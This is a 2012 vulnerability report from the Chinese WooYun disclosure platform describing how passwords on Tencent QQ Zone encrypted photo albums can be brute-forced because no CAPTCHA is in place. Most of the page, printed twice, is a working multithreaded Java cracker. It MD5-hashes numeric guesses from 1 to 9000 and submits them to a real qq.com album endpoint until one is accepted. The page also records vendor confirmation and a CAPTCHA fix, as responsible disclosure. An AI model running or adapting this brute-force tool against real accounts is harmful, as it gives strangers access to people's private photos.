当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011970

漏洞标题:腾讯QQ空间加密相册穷举破解...

相关厂商:腾讯

漏洞作者: shack2

提交时间:2012-09-10 14:31

修复时间:2012-10-25 14:31

公开时间:2012-10-25 14:31

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-10: 细节已通知厂商并且等待厂商处理中
2012-09-10: 厂商已经确认,细节仅向厂商公开
2012-09-20: 细节向核心白帽子及相关领域专家公开
2012-09-30: 细节向普通白帽子公开
2012-10-10: 细节向实习白帽子公开
2012-10-25: 细节向公众公开

简要描述:

对有权限访问的QQ空间加密相册可以穷举破解....

详细说明:


check破解类:

package com.test;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Date;
/***
* @author 线程类
*/
public class Check extends Thread {
private String pass;
public Check(String pass) {
this.pass = pass;
}
// 验证密码url
String httpUrl = "http://xa.photo.qq.com/cgi-bin/common/cgi_view_album?singleurl=1&uin=1341413415&albumid=V10fl8eT3mFzob&t=0.10085723901044841&verifycode=&question=%E5%AF%86%E7%A0%81%E6%98%AF%EF%BC%9F&output_type=json&refer=qzone&plat=qzone&json_esc=1&g_tk=5381&answer=";
// 自定义的线程
public void run() {
try {
// 定义一个输入流
InputStream in;
httpUrl += MD5.getMd5Str(pass);
// 实例一个URL对象
URL url = new URL(httpUrl);
// 创建一个http请求连接
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// 设置请求头信息
connection.setRequestProperty("User-Agent", "Mozilla/4.0");
// 请求
connection.connect();
// 得到输入流
in = connection.getInputStream();
// 读取内容
BufferedReader reader = new BufferedReader(new InputStreamReader(in, "GBK"));

boolean passok = true;// 假设密码正确
String tempstr;
while ((tempstr = reader.readLine()) != null) {
System.out.println(tempstr);
if (tempstr.indexOf("回答错误") > 0) {
passok = false;
break;
}
}
// 判断密码是否正确
if (passok) {
System.out.println("ok,恭喜密码破解成功!密码:" + pass);
System.out.println("用时:"+ ((new Date().getTime() - TestMain.start) / 1000)+ "秒");
// 停止程序
System.exit(0);
} else {
System.out.println(pass);
}
reader.close();
in.close();
// TimeUnit.MILLISECONDS.sleep(50);
} catch (Exception e) {
System.out.println("出了点小问题。");
}
}
}


MD5加密类:

package com.test;
import java.security.MessageDigest;
public class MD5 {
public static String getMd5Str(String str){
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(str.getBytes());
byte b[] = md.digest();
int i;
StringBuffer buf = new StringBuffer("");
for (int offset = 0; offset < b.length; offset++) {
i = b[offset];
if (i < 0)
i += 256;
if (i < 16)
buf.append("0");
buf.append(Integer.toHexString(i));
}
//将小写全转换成大写
return buf.toString().toUpperCase();

} catch (Exception e) {

}
return "";
}
public static void main(String[] args) {
System.out.println(getMd5Str("8888"));
}

}


Main方法测试类:

package com.test;
import java.util.Date;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/***
* @author Administrator
* 测试类
*/
public class TestMain {
//每次100个线程
public static final int THREADPOOL_SIZE = 100;

public static ExecutorService exec = Executors.newFixedThreadPool(THREADPOOL_SIZE); //线程池

//数字密码
public static int index=1;

//开始时间
public static long start= new Date().getTime();

public static void main(String[] args) {
try {
//List list =ReadFile.read();
while(index<=9000){

//执行破解线程
exec.execute(new Check(index+""));
index++;
//主线程休息一会儿
//TimeUnit.MILLISECONDS.sleep(200);
}

} catch (Exception e) {

System.out.println("程序异常...");

}
}

}

漏洞证明:


check破解类:

package com.test;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Date;
/***
* @author 线程类
*/
public class Check extends Thread {
private String pass;
public Check(String pass) {
this.pass = pass;
}
// 验证密码url
String httpUrl = "http://xa.photo.qq.com/cgi-bin/common/cgi_view_album?singleurl=1&uin=1341413415&albumid=V10fl8eT3mFzob&t=0.10085723901044841&verifycode=&question=%E5%AF%86%E7%A0%81%E6%98%AF%EF%BC%9F&output_type=json&refer=qzone&plat=qzone&json_esc=1&g_tk=5381&answer=";
// 自定义的线程
public void run() {
try {
// 定义一个输入流
InputStream in;
httpUrl += MD5.getMd5Str(pass);
// 实例一个URL对象
URL url = new URL(httpUrl);
// 创建一个http请求连接
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// 设置请求头信息
connection.setRequestProperty("User-Agent", "Mozilla/4.0");
// 请求
connection.connect();
// 得到输入流
in = connection.getInputStream();
// 读取内容
BufferedReader reader = new BufferedReader(new InputStreamReader(in, "GBK"));

boolean passok = true;// 假设密码正确
String tempstr;
while ((tempstr = reader.readLine()) != null) {
System.out.println(tempstr);
if (tempstr.indexOf("回答错误") > 0) {
passok = false;
break;
}
}
// 判断密码是否正确
if (passok) {
System.out.println("ok,恭喜密码破解成功!密码:" + pass);
System.out.println("用时:"+ ((new Date().getTime() - TestMain.start) / 1000)+ "秒");
// 停止程序
System.exit(0);
} else {
System.out.println(pass);
}
reader.close();
in.close();
// TimeUnit.MILLISECONDS.sleep(50);
} catch (Exception e) {
System.out.println("出了点小问题。");
}
}
}


MD5加密类:

package com.test;
import java.security.MessageDigest;
public class MD5 {
public static String getMd5Str(String str){
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(str.getBytes());
byte b[] = md.digest();
int i;
StringBuffer buf = new StringBuffer("");
for (int offset = 0; offset < b.length; offset++) {
i = b[offset];
if (i < 0)
i += 256;
if (i < 16)
buf.append("0");
buf.append(Integer.toHexString(i));
}
//将小写全转换成大写
return buf.toString().toUpperCase();

} catch (Exception e) {

}
return "";
}
public static void main(String[] args) {
System.out.println(getMd5Str("8888"));
}

}


Main方法测试类:

package com.test;
import java.util.Date;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/***
* @author Administrator
* 测试类
*/
public class TestMain {
//每次100个线程
public static final int THREADPOOL_SIZE = 100;

public static ExecutorService exec = Executors.newFixedThreadPool(THREADPOOL_SIZE); //线程池

//数字密码
public static int index=1;

//开始时间
public static long start= new Date().getTime();

public static void main(String[] args) {
try {
//List list =ReadFile.read();
while(index<=9000){

//执行破解线程
exec.execute(new Check(index+""));
index++;
//主线程休息一会儿
//TimeUnit.MILLISECONDS.sleep(200);
}

} catch (Exception e) {

System.out.println("程序异常...");

}
}

}

修复方案:

增加验证码机制....

版权声明:转载请注明来源 shack2@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2012-09-10 16:09

厂商回复:

感谢反馈,我们正在跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-09-10 14:35 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    = = 难道有某个接口没加验证码? 这里我记得应该是有验证码的。。

  2. 2012-09-10 14:49 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @gainover 这个没验证码机制,前面我我跑了几万次都没验证码...

  3. 2012-09-10 16:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @gainover 哟 暴露了吧

  4. 2012-09-10 16:30 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @xsser 嘿嘿...

  5. 2012-09-10 16:36 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser = = 你老别想歪了~~